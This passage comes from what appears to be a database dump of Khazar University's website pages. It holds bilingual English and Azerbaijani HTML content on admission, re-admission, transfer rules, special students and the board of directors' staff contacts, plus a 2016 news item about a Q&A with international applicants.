cəhətlərindən biri də çoxlu sayda dildə mövcud olması və yeni dil əlavə edilə bilmək xüsusiyyətidir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Sistem yeni tələbələrin qeydiyyatını keçirmək və avtomatik olaraq yeni tələbə nömrəsi vermək imkanına malikdir. Sistem tələbələrə aid bütün şəxsi məlumatları saxlayır və müxtəlif təyinatlı statistikalarda istifadə etmək imkanı verir. Barəsində danışdığımız sistem tələbələrin bütün təhsil haqqı əməliyyatlarını aparmağa imkan verir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Sistem üzərində eyni zamanda dərs yükünün daxil edilməsi, bütün akademik sənədlərin hazırlanması, akademik heyət haqqında məlumatların daxil edilməsi, statistik göstəricilərin hazırlanması, layihələrin idarə olunması ve digər əməliyyatları etmək mümkündür.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Qeyd olunan sistem tələbəyə aid bütün aşağıdakı əməliyyatları etmək imkanına malikdir:</p><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><li>dərsə qeydiyyat,</li><li>imtahan nəticələrinin daxil edilməsi,</li><li>arxivləşdirmə,</li><li>məzunluq və diplom əməliyyatları,</li><li>nizam-intizam tədbirləri,</li><li>akademik möhlətlərin daxil edilməsi,</li><li>sorğuların keçirilməsi</li></ul><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Geniş məlumat&nbsp;<a href=\"http://sims.khazar.org/campus/\">sims.khazar.org</a>&nbsp;saytında verilib.</p>  <br></div>'),(1340,849,'en','General Rules and Procedures','General Rules and Procedures','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s192/Admission-Process-and-Requirements/en\">Admission Process and Requirements</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s199/Special-students/en\">Special students</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s196/Re-admission/en\">Re-admission</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s201/Transfer-Admission-Requirements/en\">Transfer Admission Requirements</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s202/Tuition-and-Other-Expenses/en\">Tuition and Other Expenses</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s198/Schedule-of-Classes/en\">Schedule of Classes</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s194/Course-Registration/en\">Course Registration</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s197/Records-and-Transcripts/en\">Records and Transcripts</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s203/Withdrawals/en\">Withdrawals</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s191/Academic-Probation/en\">Academic Probation</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s193/Attendance-and-Absence/en\">Attendance and Absence</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s200/Theses-and-Dissertations/en\">Theses and Dissertations</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s195/Examinations/en\">Examinations</a></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/s190/Academic-Honesty/en\">Academic Honesty</a></p>  <br></div>'),(1341,849,'az','Ümumi qaydalar və proseduralar','Ümumi qaydalar və proseduralar','<div><br></div><div> <div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s192/Qebul-prosesi-ve-telebler/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Qəbul prosesi və tələblər</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s199/Dinleyici-telebeler/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Dinləyici tələbələr</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s196/Berpa-ve-ya-yeniden-qebul/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Bərpa və ya yenidən qəbul</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s201/Kocurulmelerle-bagli-telebler/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Köçürülmələrlə bağlı tələblər</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s202/Tehsil-haqqi-ve-diger-xercler/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Təhsil haqqı və digər xərclər</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s198/Ders-cedvelleri/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Dərs cədvəlləri</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s194/Fenn-ucun-qeydiyyat/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Fənn üçün qeydiyyat</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s197/Neticeler-ve-transkripler/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Nəticələr və transkriplər</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s203/Dersden-imtina/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Dərsdən imtina</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s191/Akademik-sinaq/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Akademik sınaq</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s193/Davamiyyet-ve-dersden-yayinma/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Davamiyyət və dərsdən yayınma</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s200/Tezis-ve-dissertasiyalar/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Tezis və dissertasiyalar</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s195/Imtahanlar/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">İmtahanlar</span></a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/s190/Akademik-duzluk/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><span style=\"color:#800000\">Akademik düzlük</span></a></p></div><br></div>'),(1342,851,'en','Admission Process and Requirements','Admission Process and Requirements','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Khazar welcomes applications from all qualified students regardless of race, national or ethnic origin, gender, religion, handicap, political or cultural background.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Admission is a selective process and meeting the minimum standards will not necessarily guarantee acceptance.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The admission process depends upon a student\'s educational background.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">A graduate of an accredited secondary school will be considered as pre-freshman.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Applicants must select their school and select even their major in some schools at the time they fill out Khazar Application Form for admission.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Thus, Freshman students should be enrolled in a specific school of Khazar University.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">At the same time, if a student is not certain of his/her field of study, he/she may apply for changing the school or the major.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Changing student\'s School or major requires the approval of the School or Department student wants to attend.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Applications for admission are generally accepted for any of the Fall and Spring semesters at the end of the previous semester, although some schools or departments may limit the admission only to the Fall semester.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Usually, unless otherwise specified, application deadlines are September 10 for the Fall semester and February 10 for the Spring semester.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">There are no final deadlines (unless specified in a particular subject session) to apply for the graduate study.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Generally, admission to advance degree program is effective at the end of the Fall and Spring semesters.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">An applicant should provide full documentary evidence of the courses he/she has taken for the previous degree with marks or grades.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><table style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td>All applicants are required to:</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><ul><li>complete and submit the official Khazar Application Form together with a non-refundable application fee</li></ul></td></tr><tr><td>&nbsp;</td><td><ul><li>enclose a copy of their previous diplomas, transcripts and test scores</li></ul></td></tr><tr><td>&nbsp;</td><td><ul><li>submit state entrance examination score regardless of their previous class rank (applies to Azerbaijani citizens only)</li></ul></td></tr></tbody></table><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">In some cases applicants can be asked to complete a special Department or School application form.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">For details of admission of international students, please contact the International Students and Scholars Center.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">It is essential that applicants, whose native language is not English should have obtained a sufficient competence in English.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Pre-freshmen and candidates for graduate degree program with English difficulties must take special non-credit English course.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Khazar University is one of the finest universities in Azerbaijan.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The university draws students from all over Azerbaijan and all over the world.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Starting from this year, the university&nbsp;welcomes IB students on the basis of successful completion of the IB diploma.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">It is the first university in Azerbaijan to accept applications from IB students.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The admission process depends on the educational background of the students.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The students with the highest scores are admitted without any condition, but other students will be accepted after a short interview.</p>  <br></div>'),(1343,851,'az','Qəbul prosesi və tələblər','Qəbul prosesi və tələblər','<div><br></div><div><h2 style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Bakalavr pilləsinə qəbul</h2><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Хəzər Univеrsitəsinə tələbə qəbulu ümumi əsaslarla aparılır. Оrta məktəbi bitirmiş abituriyеntlər Тələbə Qəbulu üzrə Döv­lət Kоmissiyasının (ТQDK) kеçir­diyi tеst imtahanlarında iştirak еtməklə ümumi müsa­bi­qədən kеçir və müsabiqədə yе­tərincə bal tоplamış abi­turiyеntlər univеrsitəyə qəbul оlu­nurlar. Тələbənin Uni­vеrsitədə təhsil alması Хəzər Univеrsitəsi ilə sifarişçi – validеyn, tələbə və ya hər hansı bir müəssisə arasında bağlanan хüsusi müqavilə ilə tən­zim­lənir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Əgər müsabiqə zamanı univеrsitənin müəyyənləş­dir­diyi qə­bul planı dоlmazsa, о zaman əlavə müsabiqə еlan оluna bi­lər. Мüsabiqə yalnız ТQDK – nın kеçir­di­yi tеst imtahan­la­rın­da iştirak еtmiş və müəyyən bal həddini kеçmiş abituri­yеnt­lər arasında aparılır.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Bunun üçün abituriyеntlər Univеrsitənin qəbul kоmis­siyasına aşağıdakı sənədləri təqdim еtməlidirlər:</p><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><li>Реktоrun adına ərizə;</li><li>Теst imtahanlarının nəticəsi haqqında ТQDK-dan vеrilmiş хüsusi sənəd.</li></ul><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Sənədlərini təqdim еdən abituriyеntlər müsabiqədə iştirak еdir və fərqlənənlər univеrsitəyə qəbul оlunur­lar. Bundan sоnra qəbul еdilən abituriyеntlərin siya­hısı ТQDK-ya təqdim оlunur və оnların Univеrsitəyə qəbulu rəsmi­ləş­dirilir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Тədris ilinin əvvəlində yеni qəbul оlunmuş tələbələr ingilis dili dеpartamеntində yеrləşdirmə-tеst imtahan­ları (Placement test) vеrir və yalnız bundan sоnra uyğun səviyyələrə görə qruplara bölünürlər.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Univеrsitəyə qəbul prоsеsi ilə bağlı bütün məlumat­ları almaq üçün Univеrsitənin Qəbul və Тələbə Şöbə­sinə müraciət еdə bilərsiniz.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Мagistratura pilləsinə qəbul</strong><strong><em>&nbsp;<br></em></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Мagistraturaya qəbul Тələbə Qəbulu üzrə Dövlət Kо­mis­si­yası (ТQDK) tərəfindən aparılır. Hər hansı bir ixtisas üzrə ali təhsili olan şəxslər Тələbə Qəbulu üzrə Döv­lət Kоmissiyasının (ТQDK) kеçir­diyi tеst imtahanlarında iştirak еtməklə ümumi müsa­bi­qədən kеçir və müsabiqədə yе­tərincə bal tоplamış bakalavrlar magistraturaya qəbul оlu­nurlar. Тələbənin magistraturada təhsil alması Хəzər Univеrsitəsi ilə sifarişçi – validеyn, tələbə və ya hər hansı bir müəssisə arasında bağlanan хüsusi müqavilə ilə tən­zim­lənir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Hər hansı bir iхtisas üzrə ali təhsil haqqında diplоmu оlan hər bir şəхs magistraturaya&nbsp; qəbul оlmaq hüqu­qu­na malikdir.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Univеrsitənin МBA (Мastеr оf Businеss Adminis­t­ratiоn) prоqramı üzrə magistraturasına, hansı iхtisası bitirməsindən asılı оlmayaraq, ali təhsil haqqında dip­lоmu оlan bütün şəхslər sənəd vеrə bilərlər. Тələbələrin arzusunu nəzərə alaraq dərslərin şənbə, bazar, digər günlər isə aхşamlar təşkil еdilməsi müm­kün­dür.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Мagistraturaya qəbul prоsеsi ilə bağlı bütün məlumat­ları almaq üçün Univеrsitənin Qəbul və Тələbə Şöbə­sinə müraciət еdə bilərsiniz.</p>  <br></div>'),(1344,852,'en','Special students','Special students','<div><br></div><div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><div><p>Special (non-regular) students are the individuals who enroll in one or more non-degree courses.</p><p>They are permitted to take examinations and receive academic credits.</p><p>These students are charged a special tuition fee for the courses taken.</p><p>They may request a certificate confirming successful completion of the course(s).</p><p>The relevant dean’s office as well as the Admission Office must approve admission of special students to specific courses.</p><div><br></div></div></div>  <br></div>'),(1345,852,'az','Dinləyici tələbələr','Dinləyici tələbələr','<div><br></div><div><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Universitədə təhsil almayan hər hansı bir şəxs ixti­yari fənni oxumaq üçün dinləyici qəbul oluna bi­lər. Bunun üçün uyğun fakültə dekanının yazılı raz­ılı­­ğını almaq və ərizə ilə rektora müraciət etmək la­zım­dır. Uyğun fənnin təhsil haqqı ödənildikdən və rek­to­run əmrindən sonra rəsmi dinləyici kimi həmin fənni oxumaq olar. Hər hansı bir fənni dinləyici kimi gö­türmüş və müvəffəqiyyətlə imtahan vermiş şəxsə ser­ti­fikat verilir və sonradan həmin şəxs Universitəyə qəbul olu­nar­­sa, bu fənn nəzərə alınır (fənnin xüsusiyyətindən asılı olaraq uyğun departament və dekanlıq tərəfindən müəyyən vaxt məhdudiyyəti qoyula bilər) və tələbənin transkriptində qeyd olunur.</span>  <br></div>'),(1346,853,'en','Re-admission','Re-admission','<div><br></div><div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><div><p>A student whose studies at the university are interrupted for any reason for a period of one semester or more (excluding summer sessions) must submit a formal Application for Re-admission and a re-application fee – equivalent of 50 AZN (New Azerbaijani Manat).</p><p>Re-admission takes place at the end of the previous or beginning of the current semester.</p><p>All re-admissions must be approved by the relevant dean’s office.</p><p>Students who were in good standing when they left the university are virtually assured of re-admission.</p><p>A student who is re-admitted is subject to the academic requirements and regulations in effect at the time of re-admission.</p><div><br></div></div></div>  <br></div>'),(1347,853,'az',' Bərpa və ya yenidən qəbul',' Bərpa və ya yenidən qəbul','<div><br></div><div> <div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbə müxtəlif səbəblərlə bağlı müəyyən müddət (ən çox dörd semestr) təhsildən möhlət götürə bi­lər. Bunun üçün uyğun fakültə dekanının yazılı raz­ı­lığı olmalı və rektora ərizə ilə müraciət olunmalıdır.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Möhlət müddəti bitən tələbə, iki həftə ərzində (yay dövründə müəyyən istisnalar mümkündür) bərpa olmalı və cari semestr üçün qeydiyyatdan keçməlidir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbə bərpa olmaq üçün əvvəlcə fakültə de­ka­nının yazılı razılığını almalı və Uni­versitə xəzinəsinə 50 (əl­li)&nbsp; ma­nat məbləğində pul ödə­məlidir. Yalnız bun­­dan sonra tələbə Universitəyə bərpa olun­­masını rəs­­miləşdirmək üçün ərizə ilə rektorluğa müra­ciət et­mə­­­­lidir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Göstərilən müddət ərzində bərpa olmayan tələbə universitədən xaric edilir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Bərpa olunmaq istəyən tələbə təhsil haqqını bərpaolunma zamanın­dakına uyğun olaraq ödəməli və bu dövrdə qüv­və­də olan akademik tələbləri və qaydaları yeri­nə yetir­məlidir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Hər-hansı bir səbəbdən universitədən xaric edilmiş tələbə, beş il müddət keçdikdən sonra, Universitəyə bərpa olunmaq hüququnu itirir (əsaslandırılmış istisnalar ola bilər).</p></div><br></div>'),(1348,854,'en','Transfer Admission Requirements','Transfer Admission Requirements','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Transfer applicants should be in good academic and social standing at the school previously attended.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Khazar University requires all transfer applicants whose first language is not English, regardless of citizenship, to take an English proficiency examination.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Applicants may submit their TOEFL score, or have to take the English Language Institutional Placement Test of Khazar University.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Transfer students entering undergraduate programs of Khazar, including those from other countries, should submit official transcripts accompanied by a certified English translation from all secondary schools and post-secondary institutions attended.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">All documents must show coursework and examinations taken, indicate grades received, identify passing and maximum marks, and show evidence of secondary school graduation.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Certified copies and certified English translations of all academic achievements in each college or university attended are required in order to complete an Application for Graduate Studies at Khazar University.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The credits given by the accredited institutions will count toward the total number required for graduation.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Some students should pass additional examination before the credits consideration.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Transfer students must satisfy all degree requirements. The fee for transfer admission is equivalent of 50 AZN.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Transfer students must complete at least one half of the credits required for their major at the relevant school at Khazar University.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">In special cases, relevant departments and/or schools of Khazar University may apply a different policy.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Students who are enrolled at Khazar University but plan to graduate from another university are responsible for approval of the credits earned at Khazar University.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">A limited number of appointments to teaching fellowships and assistantships are available for qualified students.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Students who study abroad in accredited universities will submit the credits to get their degree from Khazar.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">At Khazar University students can change their major and/or transfer from one school of Khazar to another.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">A student wishing to transfer from one school to another must obtain an interschool transfer approval from the Office of the Dean of both schools, and should ask the Admission Office to start internal transfer procedures.&nbsp;</p>  <br></div>'),(1349,857,'en','Board of Directors and Trustees','Board of Directors and Trustees','<h4><strong>Chair</strong></h4><p><strong><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet Isakhanli</a>&nbsp;</strong></p><p><strong>Email</strong>:&nbsp;<a href=\"mailto:hamlet@khazar.org\">hamlet[at]khazar.org</a></p><p><strong>Phone</strong>: (994 12) 422 52 53</p><p><a href=\"http://www.khazar.org/files/pdf/Biblioqrafiya.doc\"><strong>Bibliography</strong></a></p><p><br></p><h4><strong>Assistants </strong> <br></h4>\r\n<p style=\"font-weight:bold\"><a href=\"http://www.khazar.org/files/letters/Parvin_ENG.pdf\">Parvin&nbsp;Bashirova</a><img src=\"http://www.khazar.org/files/letters/Parvin_b.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><br></p><p>Administrative and Information Resources Assistant to the Chairman of Board of Directors and Trustees<strong style=\"font-weight:bold\">&nbsp;</strong></p><p><strong style=\"font-weight:bold\"></strong><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong><a href=\"mailto:pbashirova@khazar.org\">pbashirova[at]khazar.org</a>&nbsp;&nbsp;</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/letters/t_1.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/letters/Turkan%20Manafli_Resume-20118.pdf\">Turkan Manafli</a></strong>  <br></p><p>Events Assistant  <br></p><p><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:tmanafli@khazar.org\">tmanafli[at]khazar.org</a></p><p><br></p><p><br></p><hr>\r\n<strong><a href=\"http://www.khazar.org/files/letters/Resume%20Gunel%20Rzayeva.pdf\"><img src=\"/files/letters/gunel_r.jpg\" style=\"border:0px  #0000ee;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/letters/Resume%20Gunel%20Rzayeva.pdf\">Gunel Rzayeva</a></strong></p><p>Editorial Assistant<br></p><p><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:grzayeva@khazar.org\">grzayeva[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/CV_Kulakhmet_eng(ph).pdf\"><img src=\"/files/letters/gujan_k.jpg\" style=\"float:left;width:150px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Guljan Kulakhmet</a>  <br></strong></p><p>Public Relations Assistant, Board of Directors and Trustees   <br></p><p><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:gkulakhmet@khazar.org\">gkulakhmet[at]khazar.org</a></p><p><strong><br></strong></p>'),(1350,857,'az','Direktorlar və Qəyyumlar Şurası','Direktorlar və Qəyyumlar Şurası','<h4><strong>Sədr</strong></h4><p><strong><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet Isaxanlı</a>&nbsp;</strong></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:hamlet@khazar.org\">hamlet[at]khazar.org</a></p><p><strong>Telefon:</strong> (994 12) 422 52 53</p><p><a href=\"http://www.khazar.org/files/pdf/Biblioqrafiya.doc\"><strong>Biblioqrafiya</strong></a></p><p><br></p><h4><strong>Assistentlər</strong></h4><p><strong><a href=\"http://www.khazar.org/files/letters/Parvin_Az.pdf\">Pərvin Bəşirova</a></strong><strong><img src=\"/files/letters/Parvin_b.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p>\r\n<p>Direktorlar və Qəyyumlar Şurasının sədrinin administrativ\r\nvə informasiya resursları üzrə köməkçisi  <br></p><p><strong>E-mail: </strong><span style=\"color:#0000cc;text-decoration:underline\"><a href=\"mailto:pbashirova@khazar.org\">pbashirova[at]khazar.org</a></span></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/letters/t_1.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/Turkan%20Manafli_Resume-20118.pdf\">Türkan Manaflı</a></strong></p><p>Tədbirlər və Avrasiya Akademiyası üzrə sədr köməkçisi  <br></p><p><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:tmanafli@khazar.org\">tmanafli[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/letters/gunel_r.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/letters/Resume%20Gunel%20Rzayeva.pdf\">Günel Rzayeva</a></strong></p><p>Redaktə işləri üzrə köməkçi  <br></p><p><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:grzayeva@khazar.org\">grzayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr><img src=\"http://www.khazar.org/files/letters/gujan_k.jpg\" style=\"border:0px  #0000ee;float:left;width:150px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/letters/CV_Kulakhmet_AZE.pdf\">Güljan Kulaxmet</a></strong>  <br></p><p>İctimaiyyətlə əlaqələr və təşkilatlarla iş üzrə sədr köməkçisi  <br></p><p><strong></strong><strong>E-</strong><strong>mail:&nbsp;</strong><a href=\"mailto:gkulakhmet@khazar.org\">gkulakhmet[at]khazar.org</a></p><p><br></p>'),(1351,858,'en','Live Q&A Session with International Applicants','On April 7, 2016, the International Affairs Office Team held a live Q&A (question and answer) session for international applicants using a social platform. ','<p><br></p><p style=\"text-align:justify;text-indent:.25in\"><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',serif\">On April 7, 2016,\r\nthe International Affairs Office Team held a live Q&amp;A (question and answer)\r\nsession for international applicants using a social platform. <o:p></o:p></span></p><p>&nbsp;</p>\r\n<p>The main goal in\r\nholding the Q&amp;A session was to address the most pressing questions of the\r\ninternational applicants to ensure that they had all necessary information\r\nbefore the deadline. During the hour-long session, the International Affairs\r\nOffice team and a current international student from Cameroon, Yannick Agbor\r\n(MS in Petroleum Engineering candidate), answered questions about international\r\nprograms offered by Khazar University, admission and application requirements,\r\nobtaining visas, living costs in Azerbaijan, and much more. </p>\r\n<p>&nbsp;</p>\r\n<p>The deadline for\r\ninternational admission for the 2016-2017 academic year is 17:00 (5pm) Baku\r\ntime on April 15, 2016. </p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>  <p><br></p><p></p>'),(1352,858,'az','Əcnəbi müraciətçilərlə canlı sual-cavab sessiyası baş tutdu','2016-cı il aprelin 7-də Xəzər Universiteti 